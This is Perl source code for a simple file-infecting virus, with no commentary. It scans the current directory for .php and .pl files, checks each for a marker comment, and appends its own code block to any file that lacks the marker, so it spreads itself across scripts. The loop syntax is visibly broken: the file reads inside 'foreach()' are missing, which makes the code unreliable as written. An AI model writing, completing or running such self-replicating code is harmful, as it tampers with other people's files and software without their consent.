use strict; # (true) ? true : false #start opendir(CDIR, "./") || die (''); foreach (sort readdir(CDIR)) { chomp $_; if (/^.+\.(php|pl)$/) { open(CLIENT, $_) || die(''); my $Infected = 0; foreach() { (/^#\s\(true\)\s\?\strue\s\:\sfalse$/gi) ? $Infected = 1 : 0 ; } if($Infected == 0) { close(CLIENT); open(CLIENT, ">>$_") || die(''); open(PAPA, __FILE__); print CLIENT "\n# (true) ? true : false\n"; print CLIENT "#start\n"; foreach() { if (/^#start/ .. /^#end/) { if (/^(.+;).*$/) { print CLIENT $_."\n"; } } } print CLIENT "#end"; close(PAPA); } close(CLIENT); } } closedir(CDIR); #end